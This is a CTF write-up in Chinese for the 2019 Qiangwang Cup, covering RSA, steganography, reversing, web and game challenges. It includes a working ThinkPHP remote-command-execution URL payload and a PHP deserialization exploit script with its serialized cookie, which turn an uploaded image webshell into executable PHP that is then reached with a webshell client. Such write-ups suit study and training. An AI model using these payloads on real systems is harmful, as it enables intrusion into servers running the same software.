2019强网杯wp

强网先锋–上单

发现是ThinkPHP

mark

12点多我们还没打开题的时候发现有人已经拿到一血了。。所以应该不是很难,想到应该是thinkphp的远程执行,payload:

1
/1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

强网先锋–辅助

一道简单的rsa

mark

gcd(n1,n2)即可求出q,则p = n1 / q,phin = (p-1)*(q-1), d = gmpy2.invert(e, phin)

最后gmpy2.powmod(c, d, n1),hex解码后即可得到flag

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import binascii

c = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
e = 65537
n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979

q = gmpy2.gcd(n1,n2)
p = gmpy2.div(n1,q)

phin = (p-1)*(q-1)
d = gmpy2.invert(e,phin)
m = pow(c,d,n1)
flag = hex(m)[2:]
print(binascii.unhexlify(flag).decode('utf8'))

mark

强网先锋–打野

做隐写题常规步骤,winhex看了没东西,binwalk看了一下无果,stegsolve看了也没东西,感觉是lsb隐写,感觉图中的“zxsnsnj”是密码,所以用cloacked-pixel解密,没能成功。又继续查bmp隐写的资料,后来找到一篇文章:

http://www.luyixian.cn/news_show_13305.aspx

试了一下zsteg这个工具,成功了

mark

强网先锋–AD

放linux下file文件然后运行,随便输入字符串得到you’re not。

mark

将程序放入IDA进行分析,查看源码

mark

发现程序简单,就是简单的循环比较,找到参数,并转化为ascii码

将ascii码提取出来发现很像base64,进行解码得到flag。

mark

mark

upload

注册后发现应该是一道上传题,只能上传图片,并且对图片马没有过滤,上传后只改了文件名和后缀为png,最开始思路是想办法让图片马解析成php。接着开始扫目录,扫描速度很慢,一段时间后跑完了,发现了/www.tar.gz,下载后打开居然在application/web/controller/register.php和../../../index.php下发现了断点。

application/web/controller/Register.php:
mark
application/web/controller/Index.php:
mark

application/web/controller/Index.php里的:
首先访问大部分页面例如 index 都会调用 login_check 方法。
该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。

application/web/controller/Register.php里的:
Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。

继续审计代码,上传图片的主要逻辑在application/web/controller/Profile.php里。
mark

先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。

而 Profile 有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。get 会直接从 except 里找,__call 会调用自身的 name 成员变量所指代的变量所指代的方法。

mark

前面我们有反序列化和析构函数的调用,结合这三个地方我们就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名,让其为我们所用了。

接下来找个图片马,注册新号上传。

然后构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
mark
而后我们又赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。

而后,我们还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。

php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace app\web\controller;

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

class Register
{
public $checker;
public $registed;

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/ 9862a5f0c459c3f78ba4bab12279ea3d/156005c5baf40ff51a327f1c34f2975b.png";
$profile->filename = "../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/156005c5baf40ff51a327f1c34f2975b.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

注意这里的文件路劲,看 Profile 的构造方法有切换路径,这里我们反序列化的话似乎不会调用构造方法,所以得自己指定一下路径。

得到cookie:

1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkLzk4NjJhNWYwYzQ1OWMzZjc4YmE0YmFiMTIyNzllYTNkL2QwMDk2ZWM2YzgzNTc1MzczZTNhMjFkMTI5ZmY4ZmVmLnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC85ODYyYTVmMGM0NTljM2Y3OGJhNGJhYjEyMjc5ZWEzZC9kMDA5NmVjNmM4MzU3NTM3M2UzYTIxZDEyOWZmOGZlZi5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

换cookie后刷新页面(chrome插件EditThisCookie)
mark

upload下已经出现了小马
mark

连上菜刀在根目录即可看到flag
mark

未解出:

鲲or鳗orGame

直接看最后一个game

mark

GameBoyCore.jsGameBoyIO.js是直接把GBA模拟器写到了js中,接着读取game.gb这个rom,从而把游戏加载到网页中。

那我们直接下载一个gba模拟器手动调试rom

接着过第一关后暂停游戏,用金手指搜索01:
mark

接着过第二关后暂停游戏,用金手指搜索02:
mark

这个就是我们需要的地址,直接添加金手指,把数值改为FF,游戏结束后出现flag。
mark